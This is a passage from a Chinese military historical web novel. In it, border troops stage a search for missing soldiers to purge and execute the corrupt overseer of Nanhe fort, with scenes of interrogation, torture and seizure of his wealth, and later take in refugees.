通往那里的快速通道也被清扫出来,速度何等之快!
不到两刻钟。
南河城寨,北门外。
远处马蹄声隆隆,雪尘滚滚。
大群骑兵如乌云般压来,城寨瞭望楼上号角吹响!
王铁山一马当先,与赵平、**、秦小六各自带领的本部人马。队伍盔明甲亮,杀气腾腾,迅速分开,堵住城寨几处寨门,许进不许出。
北寨门被磐石营军士把守,气氛瞬间紧张起来。城头上的守军见状,如临大敌,不少人吓得面如土色,连滚带爬地下了寨墙,飞报知寨魏文。
“报——祸事了,祸事了……”
**一身黑甲,策马来到吊桥前,运足中气,向寨墙上喊道:“寨墙上的人听着,我乃铁血军寨知寨,飞虎卫统领秦大人亲兵部将**!
奉秦统领之命,前来搜寻我部失踪的五名边军士卒,为避免误会发生,请魏知寨出来答话!”
不多时,南河城寨知寨魏文被簇拥着,急匆匆登上寨墙。他望着寨下军容严整、煞气逼人的队伍,脸上适当地露出惊诧与凝重之色:
“王部将,何以如此兴师动众?带兵堵我寨门,所为
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何事?”
**在马上抱拳,将事情经过再次说了一遍,语气沉痛而愤怒:“……魏大人,五名将士迟迟未归队,平白失踪,最后踪迹就在贵寨之内。
末将奉命,不得不来!还请魏大人行个方便,让我等入寨搜寻,找出歹人,解救同袍!若是没找到人,任凭处罚,秦统领也来赔礼道歉。”
王铁山更是按捺不住,在阵前黑着脸怒吼如雷:“魏知寨!事实已经很清楚,就在此处失踪,俺的兵要是少了一根汗**,便拆了你这破寨子!”
魏文听完,脸上显出“震怒”之色,拍着墙垛道:“岂有此理!竟有如此狂徒,敢在南河城寨袭击边军将士?简直是丧心病狂,无法无天!
王部将,王副将,你们放心,本知寨定当全力配合。来人啊,打开寨门,请铁血军寨的弟兄们入寨!本官倒要看看,是哪个不长眼的东西,敢在我眼皮底下做这种大逆不道之事?”
在“嘎吱”声中,寨门缓缓打开。
**、王铁山对视一眼,拱手谢过后,随即他们一挥手,大队人马如同潮水般涌入南河城寨。一场以搜寻几名失踪士兵为由,实则为肃清孙仁及其党羽的雷霆行动,就此展开。
王铁山见到从寨墙上下来的魏文,也顾不上什么虚礼,劈头便问:“魏知寨,我部弟兄最后被人看见在寨内,守门兵士竟谎称见他们出寨!
此事你可知情?那几个满嘴谎言的守门兵现在何处?”
“什么?竟有此事?”魏文脸上适时地浮现出惊怒,立刻对身旁的校尉喝道:“快!将那日当值的北门守卒全部唤来,本官要亲自问话!”
不多时,一队约莫二十来个守门兵士被带至近前,其中几个往后缩头,个个面色惶惑不安。
王铁山铜铃般的眼睛一扫,根据事先得到的情报,立刻锁定了低头不语的什长和另外几名兵卒。他大手一挥,厉声道:“就是他们!我派人来询问,他们满嘴谎言,给老子拿下!”
身后,如狼似虎的铁血军寨士兵一拥而上,不由分说便将那几人捆缚起来。那什长还欲狡辩:“大人,冤枉啊!小的们确实看见他们出寨了……”
“放屁!还敢在这儿狡辩?”王铁山怒吼打断。身后,亲兵队人人手按刀柄,眼神越发凶狠。
北寨门口,犹如剑拔**张,空气中弥漫着**味。
王铁山声如洪钟的怒吼不仅镇住了被揪出的几个兵卒,更是引来了越来越多围观的军民。人们被阻挡,踮着脚尖,交头接耳,都想看个究竟。
第311章 铁证如山,刀锋立威
“父老乡亲们,我等是铁血军寨边军。”
“奉抗鞑英雄秦猛秦将军之命,来寻找失踪的军卒。抓捕勾结**的奸细,乡亲们不要慌乱。”
王铁山瞥见军民们悄然汇聚,莫名想起秦某说过,要站在道德的制高点上,来对付敌人。便主动挥手高呼。更趁势吹捧一下顶头上司,
他转头怒视那什长等人,大义凛然地说着:“咱北地爷们不玩虚的,是就是,不是就不是。岂能鼓弄唇舌?本将前来,就是有真凭实据。”
“你们几个最好给我如实交代,否则无需王将军动手,老子会亲自把你们处理了。”魏文脸色铁,青极为难看,冷冷地看着被揪出来的兵卒。
那被揪出的什长眼神慌乱,却仍强自镇定,“知寨明鉴,小的们值守兢兢业业,岂敢欺瞒?”
“一派胡言!”王铁山怒声喝斥:“就在不久前,有人亲眼看见几个猎户进了城就再没出去!有热心肠的民众跑到军寨提供线索,汇报说因商税之事争执,被抓走了,尔等还敢胡说?”
“热心民众提供线索?”那被指认的什长脸色一白,却是咬牙争辩:“那是诬蔑,绝无此事。”
“死不悔改!”王铁山狞笑一声?“此刻,魏知寨当面,本将就来好生盘问,让尔等心服口服,免得有人造谣:抹黑我铁血军寨蛮横不讲理。”
说话间,他猛地摊开手中一物——正是失踪士兵中一人常佩戴的身份腰牌,上面还沾着些许新鲜泥土。“这是在寨门内侧草丛里找到的。
这是我铁血军寨士兵的身份腰牌,必须随身携带。上面刻着牛二娃的名字,编号等身份信息,若非挣扎遗落,此物岂会在此?尔等还有何话说?”
这物证的出现,顿时引起一片哗然。
围观人群中有人惊呼:“今天那几个猎户我就认出来了,其中牛二娃,他就是附近村坊的。”
这下,守门兵士撒谎几乎坐实。
魏文适时上前,面沉如水,目光如刀般刮过那几个筛糠般的兵卒:“本官最后问一次,谁指使你们隐瞒实情?现在交代,或可从轻发落!”
“是……是……”一个年轻兵卒心理防线崩溃,腿一软跪倒在地。
“闭嘴!你想全家陪葬吗?”
那什长见状,目眦欲裂,厉声威胁。
“放肆!在本官与王将军面前,还敢威胁同袍?”魏文似乎被彻底激怒,话音未落,身形一动,众人只觉眼前一花,便听得“咔嚓”一声令人牙酸的脆响!
只见魏文双手如铁钳般扭住那什长的脖颈,猛地一错!那什长眼珠暴突,喉咙里发出“嗬嗬”的怪响,随即脑袋便以一个诡异的角度耷拉下去,整个人软倒在地,顷刻间便没了声息。
快!准!狠!
魏文这突如其来的狠辣手段,不仅震慑了剩下的几个兵卒,也让围观军民倒吸一口凉气!
谁都没想到,这位看似老好人般的知寨大人,动起手来,竟如此的不留情面,果决狠厉!
“大人饶命!大人饶命啊!”剩下的几个兵卒吓得魂飞魄散,磕头如捣蒜,“是税司班头张宝!是他带人抓的兵爷!他说……他说是奉了孙监镇的密令,要给铁血军寨一点颜色看看!”
王铁山立刻命文书录下口供,让几人画押按印。整个过程在众目睽睽之下完成,证据、口供、涉事人员、人证(围观军民)俱全。
人们最容易相信自己亲眼看到的,亲耳听到的,却没人发现那个倒地的什长手脚动了动,也没人发现那几个兵卒不仅胆小,而且嘴快。
反正,随着军民的议论,好事者奔走相告,这则惊人的消息像长了翅膀一样迅速传遍城寨!
霎时间,“孙监镇指使人抓了铁血军寨的兵!”这股不利的**风暴,瞬间将孙仁推到了风口浪尖。
无独有偶,**率领的精锐小队,在魏文心腹的引导下,已如幽灵般直扑税课司和毗邻的地牢。
税课司衙门几乎没做任何像样的抵抗就被控制。
**的人直接撞开地牢大门,阴湿腐臭的气味扑面而来。
火把照耀下,牢房里几个被抓的猎后衣衫褴褛,露出身上被鞭打的新鲜血痕,听到外面的嘈杂声后,彼此对视一眼,一个个突然萎靡地蜷缩在草堆里哀嚎,一副奄奄一息的模样。
“兄弟,受苦了!”**快步上前,起来崭新的军棉衣给其中一人披上,声音带着恰到好处的痛惜与愤怒。
那“猎户”虚弱地抬起头,与**交换了一个委屈的眼神。
“王……王哥……你们可来了……”他气若游丝,戏做得很足:“他们,他们用酷刑折磨我等……”
**猛地转身,目光如冰冷的刀锋,扫过被军士摁倒在地的张宝、牢头梅老五以及一众面如土色的小牢子。
“好大的狗胆!”**的声音不高,却带着渗人的寒意,“囚禁殴打折辱边军将士,形同谋逆!”
“说,谁给你们的胆子?”
“将军饶命!不关小的事啊!”张宝涕泪横流,裤裆湿了一片,“小…小人只是一时糊涂啊!”
“噗哧!”**身边一名亲兵二话不说,抡起刀鞘,就狠狠砸在张宝的嘴上,顿时打得他满口喷血,两颗牙齿脱落混着血水吐了出来。
“说,谁给你的胆?不说就死!”
张宝见到刀架在脖子上,涕泪横流,哇哇哭?“呜呜,是,是孙监镇!是孙仁孙大人暗示小的,说铁血军寨的丘八不懂规矩,秦将军把双涡堡队将黄安
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斩首示众,是打他的脸,说要……”
“孙监镇?”**抱起胳膊,露出一个残忍而玩味的笑容,目光却看向浑身发抖的牢头梅老五。
“梅牢头,你在南河城寨当了二十年的差,是老人了。张宝说是孙监镇指使,你怎么说?可有人证物证?”
梅老五混迹底层多年,早已成精,此刻哪还看不出风向?这是要借题发挥,彻底扳倒孙仁啊!带刀把的要搞你,一个文官插上翅膀飞天?
他立刻像抓住了救命稻草,磕头如鸡啄米:
“将军明鉴!张宝所言句句属实!小人……小人不堪胁迫,也曾奉命为孙监镇做过些见不得光的事。
小人愿意检举揭发!孙仁他与西域、草原商人勾结,倒卖军粮、盐铁,中饱私囊!前几天他还下令,让小人‘处理’掉几个知晓内情的囚犯……”
为了活命,梅老五如同竹筒倒豆子,将孙仁的底细卖了个一干二净。
其他小牢子见状,也纷纷争先恐后地补充细节,唯恐落后。
**满意地点点头,这梅老五果然“懂事”。他走到吓得尿裤子的张宝面前,用靴尖抬起他的下巴:“听见了?你不过是条被人当枪使的蠢狗。
现在,把你如何奉命行事,孙仁还让你做过哪些勾当,一五一十,给老子写下来!若有半句虚言……”
他侧头示意,旁边火炉里烧红的烙铁发出“滋滋”的声响,一股皮肉焦糊的恐怖气味隐隐传来。
“我说!我全说!求将军饶小的一条狗命呐!”张宝心理防线彻底崩溃,不复之前的嚣张蛮横。
“臭鱼烂虾,也敢来招惹我铁血军寨,拖下去拷问。”**眼神冰冷,扫视着梅老五等牢子们。
“你们这些墙头草给我记住啦!幽州这片土地上到底谁说了算?以后做事,做人,都悠着点。秦统领就坐镇在边陲,谁还敢缺德带冒烟?”
“咱崔大人要是敢来,也是这种下场!”
“啊——”地牢深处,凄厉的惨叫声和求饶声断续响起,伴随着红烙铁烫在皮肉上的“刺啦”声和焦臭味,让梅老五等人瘫软在地,瑟瑟发抖,裤裆里热烘烘的,空气中弥漫着恐惧和尿骚味。
这不仅是拷问,更是一种赤裸裸的震慑,宣告着南河城寨旧秩序的终结,边陲谁才是真正的话事人,以及一场更猛烈的风暴即将来临。
**冷静地吩咐手下记录口供,收集物证。他知道,对付孙仁的刀,已经磨得无比锋利了。杀鸡儆猴,这些墙头草会守住自己的嘴。
守不住,那就死!
就在王铁山揪出说谎军卒,**于地牢中撬开张宝等人的嘴巴,获取关键罪证的同时,城寨内的另外两条战线也已雷霆万钧之势展开。
第312章 明线扰局,暗线收网
午后的阳光洒在南河城寨的街道上,市井的喧嚣如同往常。然而,这份平静被一阵自远而近、迅速变得震耳欲聋的马蹄声悍然打破。
地面微微震颤,街道上的行人商贩惊疑不定地循声望去,只见一股铁骑洪流正沿着主街涌来!
甲胄的反光刺入眼帘,刀枪的寒芒摄人心魄,凛冽的肃杀之气瞬间驱散了午后的暖意。
“闪开!大军过境!”
“是铁血军寨的骑兵!”
惊呼声四起,人群慌忙避让。
更引人注目的是,队伍前方有几名南河城寨的吏员,正高举盖有官印的公文,一边策马飞驰,一边高声宣告:
“魏知寨有令!铁血军寨奉令公干,搜寻失踪士卒!百姓勿慌,速速归家,勿要阻挠公务——!”
这“官兵为客军开道”的奇景,让城寨居民面面相觑,但“魏知寨”的名头和“搜寻失踪士卒”的理由,非但没有恐慌,反而引起人们好奇。
千余骑兵,在熟悉地形的引导者的带领下,如臂使指,迅速分作数股,奔向城寨各处要地。
部将秦小六勒马立于十字路口,身形挺拔如松。
他的声音不高,却清晰地传入麾下每一名军官耳中:
“大人有令:行事需正,搜检需细,秋毫无犯,扬我军威!三人一队,互相监察,目标只在寻人,敢有惊民、毁物、勒索者,定斩不饶!”
“得令!”各级军官低声应诺。
他们眼神锐利,迅速将命令传达至每一名士兵。
大规模的公开搜查就此展开。
酒楼内,士兵们闯入后并未打砸,带队的队长对惊慌的掌柜和食客抱拳:“诸位莫慌,铁血军寨办案,搜寻同袍,惊扰之处,海涵!”
“弟兄们,动作要快,手脚要轻!”
士兵们应声而动,高效而专业地检查每一个角落,完毕后,甚至将挪动的桌椅大致归位。
掌柜的由惊恐变为惊愕,喃喃道:
“这……这真是兵爷?”
胡姬楼中,莺歌燕舞戛然而止。
士兵们控制出入口,面对花容失色的胡姬和慌乱的客人,厉声喝道:“铁血军寨公干,所有人原地不动!公务搜查,配合者可保无事!”
他们的目光如探照灯般扫过全场,却对那些舞姬暴露的肌肤和散落的金银财物视若无睹,只专注于排查可能的暗格夹墙。
赌坊里更是被彻底镇住,士兵们核对身份,呵斥道:“无关者查验后放行!谁敢异动,视为同党!”
昔日胆子大的赌徒们噤若寒蝉。那些肆无忌惮、打老婆骂爹娘的赌鬼更是吓得瑟瑟发抖。
秦小六坐镇中央,不断接收一支支小队回报。
“报!东市所有商铺查毕,无异常!”
“报!南巷所有民居排查完毕,未发现目标!”
他面色平静,心中雪亮。
他带领的这一路只是明线,暗线才是**锏!
这番“规矩”到极致的举动,与孙仁麾下税吏衙役的横行霸道形成鲜明对比,正在无声地争取民心,也更尖锐地刺痛着那些隐藏在暗处的敌人。
这满城的关注,正是行动需要的掩护。
几乎在秦小六发动的同时,真正的杀招已然悄无声息地展开。
飞虎卫统领赵平,这位性烈如火的悍将,亲自率领着三百余名最精锐的飞虎卫,如同潜入水下的鳄鱼,悄无声息却致命地扑向猎物。
首要目标,便是城防军营。
这支两百人的厢军乃是幽州直接派驻,装备精良,素来骄横,不服知寨魏文管束,反而成了监镇孙仁在城中滥用职权、为所欲为的依仗。
营指挥曹豹,更是孙仁的铁杆心腹。
此刻,曹豹刚午睡起来,正与几名手下军官在校场边喝茶闲聊,商议着如何借孙仁的势再多捞些油水。
突然,营门处传来一阵短促的呵斥和骚动,不等曹豹反应,赵平麾下的部将赵丰已按刀大步闯入,身后跟着一队眼神冰冷、杀气腾腾的飞虎卫。
“曹指挥!”赵丰声如洪钟,目光如电般锁定曹豹,“你营中巡逻队勾结税吏,擅抓、殴辱我边军弟兄,疑似勾结鞑虏奸细,证据确凿!现奉令,解除尔等武装,军营由我部暂管!”
“来人,拿下!”
“放肆!”曹豹惊得跳将起来,茶碗摔得粉碎:“**敢闯老子的营?反了你了!快来人……”
“唰!”不等他喊完,赵丰身后几名飞虎卫如猛虎出闸,瞬间扑上!
曹豹及其心腹刚想拔刀,便被精准地击落兵器,反剪双手,狠狠踹跪在地,用麻绳捆得结结实实。
营外曹豹的嫡系人马听到动静刚鼓噪起来,却见四周墙头、箭楼上已然冒出了无数手持强弓硬**的飞虎卫,箭镞寒光点点,对准了他们。
这群幽州厢军虽傲,但见主将被擒,又被强弓指着,气焰顿时萎靡,只能眼睁睁看着赵丰的人迅速接管了营门、武库、哨塔等要害。
赵平这第一刀,又快又狠,直接斩断了孙仁最依赖的武力臂膀。
第二刀,直指核心。赵平亲率另一部精锐,如幽灵般直扑监镇衙门以及孙仁及其核心党羽的府邸。
没有高声呐喊,只有冰冷的手势和无声的行动。
士兵们迅速散开,占据各处制高点,封锁所有巷道出口。
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>“围死,许进不许出。”
“有敢持械冲击封锁者,视为叛匪,立杀无赦!”
冰冷的命令下,是森然的杀意。
孙仁的府邸、几名参与其关键勾当的文吏武将的宅院,顷刻间被一张无形而致命的大网牢牢罩住。
监镇衙门内,孙仁刚批阅完几份无关紧要的公文,正拿着一份心腹送来的礼单,笑逐颜开。
他心里更是盘算着运河化冻后,如何从过往商队身上榨取更多好处,嘴角不禁露出得意的笑。
“大人!大事不好!”一名心腹衙役连滚带爬地冲进后堂,面无人色,声音抖得不成样子。
“外…,外面来了好多兵!把…把衙门给围了!是军寨的兵!”
孙仁手一抖,礼单飘落在地,他猛地起身喝斥道:“什么?魏文他想干什么?他敢动我……”
“不…不是魏知寨!是铁血军寨直接来的兵!”
“该死,他们怎么来啦?”
“大人,外面说…说是要找几个失踪的军户,就是…就是今天早上张宝张班头抓的那几个猎户!”
“张宝——!”孙仁只觉得一股凉气从脊椎骨直冲头顶,眼前猛地一黑,踉跄着跌坐回太师椅上,他浑身抖个不停,额头瞬间渗出冷汗。
他太清楚铁血军寨和那个秦猛是什么角色了——那是真敢先斩后奏、杀伐决断的凶神!
“快!快!”他猛地惊醒,手忙脚乱地铺纸研墨,手指颤抖地写下一封求救密信,塞给那名心腹。
“从后门走!骑最快的马!”
“不要去郡城,直接去州府!找孙大人,快!”
“是…”那心腹哆嗦着接过信件,仓皇奔向马厩,牵出两匹马,从衙门僻静的后门猛冲出去。
然而,战马刚冲出巷口不到十步,左右两侧涌出两队铁甲官兵,**一拥而上,人仰马翻!
不等那心腹爬起,几名埋伏在侧的飞虎卫已猛扑上去,将其死死按在地上,信件也被迅速搜出。
赵平用兵,岂会留下如此明显的漏洞?
当王铁山拿着北寨门守军画押指认孙仁的供词,**带着从地牢起获的张宝等人厚厚一叠口供和关键账本书信等铁证赶到预定汇合点时。
赵平和秦小六已在那里等候。
阳光将几位将领的身影拉得很长。
一直隐在幕后掌控全局的知寨魏文,此时适时现身。
他脸上平日里的温和谨慎已荡然无存,只剩下冰寒的决绝:“诸位将军,毒疮脓血已现形,证据确凿,正当以雷霆之势,一举割除!请诸位同僚随本官,去请孙监镇‘交代清楚’!”
“善!正有此意!”
第313章 雷霆扫穴,南河天变
万事俱备,只欠东风!
最后的收网时刻,终于到来。
“杀!”大队铁甲士兵踏着沉重而整齐的步伐,如决堤潮水般涌入监镇衙门。冰冷的刀锋反射着午后烈阳,却淬着凛冬般的刺骨寒意。
“南河城寨监镇孙仁,勾结外敌,无端囚禁虎贲军将士,贪腐叛国!”魏文声若雷霆,在衙门上空炸响,“奉令捉拿,抗命者,同罪格杀!”
衙役们何曾见过这等阵仗?
飞虎卫杀来的瞬间,早已魂飞魄散,纷纷丢弃棍棒铁尺,“噗通”跪倒一片,连连求饶。
唯有十几个孙仁笼络的死忠还想逞凶,可刚有动作,便被如狼似虎的士兵涌上前,用刀鞘、枪杆狠狠砸翻在地,转瞬之间便被制服。
公堂之上,“清正廉洁”的匾额熠熠生辉,匾额之下的孙仁却面如死灰。
他强撑着坐在主位,手指颤抖地指着闯入者,声音因恐惧而尖厉变形:“你…你们这是栽赃陷害!
本官乃幽州刺史府差派的监镇官,从七品命官!无刺史府公文,尔等对我动手,就是兵变!目无朝廷法度!本官要上奏,要**你们……”
**根本不屑与他口舌之争,厉声打断其嚎叫:“法度?你将盐铁粮草资敌时,纵容爪牙盘剥百姓时,构陷忠良时,何曾讲过王法?”
“如今死到临头,倒有脸提了?来人,拿下!”
如雷的应诺声中,士兵们一拥而上。孙仁还想挣扎,悍卒王二虎已箭步上前,左右开弓先甩了他两个清脆的大逼兜,再一把薅住他官袍衣领,如同拎小鸡般,将他狠狠掼在青砖地面上!
“啊——”
痛呼声尚未出口,几双穿着军靴的大脚已毫不留情地踩在他的头脸、胸口,几条捆牲口的粗绳随即套来,瞬间将他捆成了个动弹不得的粽子。
“魏文,你这个王八蛋!竟敢对本官动手,你不得好死……”孙仁涕泪横流,死死盯着走在最前的魏文,怒从心头起,歇斯底里地叫骂。
魏文的脸色骤然沉了下来。
这些年,他为了不被孙仁抓住把柄,兢兢业业,半分纰漏都不敢出;为了粮秣,安置流民,不知向这等蛀虫说好话,受了多少委屈。
如今积压的怒火终于喷薄而出。
“闭嘴!”他怒吼一步,狠狠一脚踹在孙仁嘴上!
“直娘贼,你这腌臜泼才,本将早就受够你了!”魏文脸上青筋暴起,愈发狰狞,又踩住孙仁的手,狠狠碾动。
“啊——!”孙仁发出凄厉的惨叫,绝望哀嚎:“反了!你们这是**!朝廷不会放过你们的……崔刺史、北疆经略使大人一定会派兵……”
“**?呸!就你这等国之蛀虫,也配谈忠义二字?”秦小六啐了一口,语气里满是鄙夷。
“大人说过,尔等蠢货自己视规矩如茅厕秽物,却总想用规矩束缚他人,把天下人都当可欺的傻子,真是天大的笑话!”
“一旦动手,你们就会被打回原形,一群纸老虎!搞不清楚在这边陲之地,到底谁说了算!”
赵平冷眼旁观许久,也踱步上前,居高临下地看着孙仁:“就你这东西,也敢抹黑飞虎卫?你不是喜欢向上面告状么?等着,有你受苦的时候。”
“你……你是赵……”孙仁认出了赵平,瞬间恍然。
——边军为何突然对自己动手,定是前段时间,他写密信造谣、抹黑边军的事儿败露了!
“那封信……”绝望如潮水般涌上心头,淹没了他最后的挣扎。
“把他拖走,回去慢慢收拾!”赵平厉声下令。
孙仁像条死狗般被拖了出去,他的心腹党羽也逐一被锁拿。
一众衙役更是一个没跑,全被押往磐石军营看管。
几乎在同一时间,三颗绿色信号弹尖啸着冲上天空,在午后蔚蓝的天幕上炸开醒目的光芒。
下一刻,早已封锁在孙仁府邸、其党羽宅院外的军队,见了信号如闻狩猎号角,齐齐以暴力撞开大门!
“奉命拿人!抵抗者,杀无赦!”
怒吼声、撞门声、女眷的哭喊声、护院的呵斥声……在南河城寨各处豪华宅邸中同时响起。
主要人犯被直接缉捕,家眷仆役被集中看管,所有文书、账册、金银细软全被就地封存。
就连他们在军寨的产业也未能幸免,掌柜、管事要么被带去问话,来路不正的店铺直接查封。
除掉孙仁本就在计划之内,魏文早有万全准备——拟定好的告示公文,已誊抄多份并盖好了印信。
就在队伍行动的同时,军寨官署的告示一贴出,立刻在南河城寨内掀起了轩然大波。铁甲军汉用力敲响铜锣,清脆的锣声传遍主寨与附寨的每一个角落,引来了无数军民围观。
告示之上,魏文的笔触铿锵有力,字字如刀,历数孙仁罪状:“查,南河城寨监镇孙仁,自上任以来,不思皇恩,不恤民情,擅加苛捐,横征暴敛;
更
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甚者,暗通草原,输我盐铁,资我敌寇,此乃叛国巨恶!
近日,竟因边军将士所得几张皮货,构陷忠良,囚于囹圄,无法无天,人神共愤!
今奉军令,已将此獠及其党羽擒拿下狱,以正国法!”
识字的人高声念诵,不识字的人围着打探,起初是一片死寂,随即,议论声如滚水般沸腾起来。
“我就说!去年朝廷明明减了粮税,咱家的担子反倒重了三分!原来是这狗官私加的!”一个老汉气得直跺脚。
“何止啊!”一个商贩模样的人红着眼补充,“张记商队因拒不缴纳他那苛捐,前年运往州府的药材被截,说是遇了马匪,定是这孙仁勾结外贼干的!张掌柜气得一病不起,家都散了!”
“还有王老五家的儿子,不就是顶撞了税吏几句,就被安了个罪名抓起来,大半年前去修河,至今生死不明!原来是这伙天杀的搞鬼!”
“希望新来的监镇是个好官!”
“呸,幽州来的能有什么好货?指望他们,死得更快!”
“就是!我听商队说,咱那崔刺史,石头都能榨出油水来。说他是梳子精转世,雁过拔**啊……”人群中,不少看透世事的人推波助澜。
“杀了他!杀了这些狗官!”
“对!孙仁这狗官如此可恨,贪腐**,必须杀了他!”有人振臂高呼,从者云集,积压多年的愤怒彻底被点燃,骂声如雷,响彻城寨。
孙仁那“清廉”的面具被撕得粉碎,露出的丑恶嘴脸,让百姓既觉痛快,又感悲凉——他们竟被这样的蛀虫,假借朝廷名义欺压了这么久。
几个铁血军寨的士卒挺身而出,高声安抚百姓:“父老乡亲们,放心!如今军寨内蛀虫已除,我铁血军寨定与这些杂碎斗争到底!谁敢来边陲欺负咱,便是白刀子进去,红刀子出来!”
“对!白刀子进,红刀子出!”铁血军寨的承诺让百姓们看到了一抹希望,纷纷跟着呐喊。
……
人群外围,有几人眼神闪烁,趁乱转身离去,却没发现,自己这突兀的举动,已被暗处几双锐利的眼睛同时盯上——是随军飞天卫成员。
那几名混在人群中悄然退去的可疑身影,刚一转入小巷,暗处的飞天卫便如鬼魅般无声跟上。
他们训练有素,两人一组,交替尾随,在街巷间七绕八拐,始终将目标锁定在视线之内,不动声色的记下他们接触的人和留意的地方……
第314章 斩贪立威,春暖聚民
朝廷的压力、圣上的威严,曾让魏文步步谨慎、本分老实;但对秦猛这种思想进步的青年,无甚忠诚的将领而言,那些规矩简直是个屁。
他麾下将士冲锋陷阵,坚决贯彻命令,行动如雷霆万钧,又似疾风扫落叶,配合得天衣无缝。
持械反抗者,一刀**;
嚣张跋扈的孙家公子聚众**,下一刻便倒在了血泊里。
盘踞南河城寨多年、经营得看似铁桶一般的孙仁**,竟在短短一个午后,被以犁庭扫穴之势连根拔起,主要人犯,一个未曾逃脱。
而他们的宅子,铺面,积攒下来的财富也跑不掉。蛀虫们的罪证还得要收集,财产需要统计……
夕阳斜照,监镇公堂上那面“清正廉洁”的匾额,金漆在余晖中闪闪发亮,却再也映照不出半分正气,只余下一片冰冷的讽刺与空虚。
南河城寨的天,彻底变了。
在军民眼中,那是刀把子瞬间敲断了笔杆子。
接下来两日,南河城寨似乎是从里到外被清洗了一遍。凡是与孙仁来往密切的都被带走问话。
通过溜须拍马,送礼上位的文吏衙役纷纷被遣散,孙仁时机土崩瓦解,彻底成为过去式。
监镇衙门,也已由魏文派兵接管。
随着魏知寨下令召集百姓申诉,衙门前很快排起了长龙。饱受孙仁及其党羽欺压的百姓、商贩,纷纷前来递交状纸,诉说着积年的冤屈。
桩桩件件,铁证如山,更坐实了孙仁**的滔天罪行。
魏文命心腹文吏将这些罪证一一记录、整理造册,一边安抚受苦民众,一边酌情补偿与保护……
依军法兼询**,孙仁及其核心党羽罪证确凿,叛国贪腐,判处斩立决,其家产全部抄没充公。
往来密切,借助官府力量,没少做坏事的商贩全被重罚,人员充军服役,家产一律抄没。
抄家的结果,令人瞠目结舌。
孙仁府邸的地窖里,白银堆积如山,黄金灿灿夺目。
清点下来,竟有现银超过五万余两,黄金三千余两!
其府库中囤积的粮食,足够南河城寨全体军民食用一年有余,仅精米细面就超过两万石,经林业审讯得知,这是准备卖给草原的粮食。
就更别提那些古玩玉器、珍稀皮**,数量巨丰。
他的那些党羽,以及几个平日与他往来密切、靠着打压同行垄断了盐铁、皮货生意的商队首领,家资也同样丰厚,个个都是肥得流油。
家宅地下埋着成堆的金银,粮仓堆满了粮食。更是有许多库房装满了茶叶,丝绸等货物。这群蛀虫的富裕程度,超出了所有人的想象。
这种消息多少不胫而走,引得百姓愤懑不解。钱财本是些身外之物,生不带来,死不带去。
搞不懂这些家伙明明钱财多到,躺着花十辈子也花不完,却还吃相难看,拼命往口袋里搞。
这下,被打倒了,为他人做了嫁衣。
“活该!”城寨军民幸灾乐祸地叫着,对于官署酌情给予的补偿更是欢天喜,念着魏知寨的好。
魏文是个本分的将领,不像秦猛那么胆大敢为。缴获的财物中一半送往幽州大营交给赵将军。
为了感谢赵平,秦猛在此事中的鼎力相助。魏文亲自拟定了礼单,送上一份厚礼:送往赵平亲卫营驻地,粮食五千石,金银折合万两。
铁血军寨更是粮食万石,金银万粮。另有抄没所得的布匹、药材等物资,用大车不断地运往军寨。
这对正在扩军练兵、备战的陷阵营,卫戍营而言,无疑是一笔巨大的收获,堪称大丰收!
秦猛之所以积极剿贪,一是除祸患,二是所图此番收获——将他人的积累,化作自身的资粮。
只是近来他军务繁忙,接收南河城寨物资之事,多由李恒领着刘三等人操持。
时序进入三月,肆虐一冬的风雪终于止歇,天气日渐回暖。
阳光洒落,通往铁血军寨的各条快速通道上,或是雪原上,渐渐出现了络绎不绝的人流。
那是从四面八方涌来的流民,他们衣衫褴褛,面黄肌瘦,许多人已瘦得皮包骨头,不知是躲藏在哪个山坳角落,靠着啃树皮、嚼草根熬过了严冬。
如今天气稍暖,便挣扎着向这边塞唯一传出活路消息的军寨汇聚。
队伍绵延,少则数人十数人,多则数十人,背着微不足道的行囊,步履蹒跚地向前挪动。
秦猛立于寨墙之上,望着下方那比乞丐还不如的队伍,心中不忍,当即派出车队,沿途搭建粥棚,施以热粥,使这些投奔之人不致饿毙半途。
老弱妇孺则被扶上马车,径直送往军寨安置。
军寨接纳流程依旧严苛:入寨前先洗漱净身更衣,感冒发烧隔离开,送入医护区域救治。通过进食暖胃,再登记造册,分配临时住处。
流民们匍匐在地,感激涕零。
“谢大人!多谢大人活命之恩啊!”
“看看,这就是边陲百姓,被草原部落祸害的样子。”通译军卒各自领着狼戎队伍在附近观望。犹如导游那般指着这些苦命人,说着原委。
这些凄惨的骇人百姓让许多狼戎人羞愧地低下头。直到此刻,他们才明白入境劫掠带给边民的伤害有多重,以及这些年积攒的仇恨。
秦猛能够善待他们,已经是绝无仅有。有着良知的人握紧拳头,对这座边陲军寨多了份认同。
无独有
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偶,秦猛几乎是揪提着苏珩来到寨墙前沿,法曹参军苏亮等一批从幽州来边寨任职镀金的公子哥们,也被军士给“请”了上来。
秦猛指着墙下那些形容枯槁、匍匐谢恩的流民,声音沉痛而愤怒:“苏大人,诸位公子哥儿!
来,看看,都睁大眼睛,好好看看!看看这些才是我们的同胞!被祸害成了什么鬼样子!
人不像人,鬼不像鬼!他们当中,多少人是家园被**摧毁,家破人亡,不得已才**至此!”
他的目光冷冽如刀,扫过苏珩、苏亮等人,“而你们这些蛀虫,如何敢把救命的粮食,物资输送给草原上的饿狼,资敌来残害我们的同胞?”
“告诉我,你们哪儿来的胆子!”
苏珩、苏亮这些昔日养尊处优的公子哥,若在以往,只怕心中会嗤笑“这些贱民的死活与我何干?”
然而,在铁血军寨这段时日,不听话挨过军棍,摆架子受过呵斥,挑食挨过饿,早已磨平了棱角。
更真切感受到秦猛及周遭军士身上那股凛冽煞气。此刻看着墙下凄惨景象,再闻秦猛质问,个个面红耳赤,羞愧地低下头,不敢直视。
“哼!”秦猛强压心头将这帮蛀虫一刀砍了的冲动,怒道,“从今日起,他们的伙食供应减半!
待过些时日开荒,也必须下地干活!完不成定额任务,以军**处!偷奸耍滑者,吃空碗。”
“定额?不知是何定额?”苏珩颤声问。
“一人一日,需完成一头牛所耕犁的田亩数!”秦猛冷然道。
“一……一头牛?”苏珩等人面面相觑,顿时面无人色,若真按此标准来,他们焉能有命在?
“老百姓能干,你们这些当官的就金贵?干不了也得干!”秦猛语气硬得像铁,没半点商量余地。
他眼珠一转,又有了主意:“不过嘛,你们毕竟曾经是咱军寨的‘官’,老子给你们点特权。这特权就是接着给你们家里,还有那些有钱的朋友写信!”
秦猛咧嘴,露出一个近乎无赖的笑容:“就说我秦猛这儿流民多得要炸了,粮食见底了,老子急得登门来访,几乎动刀子**了!
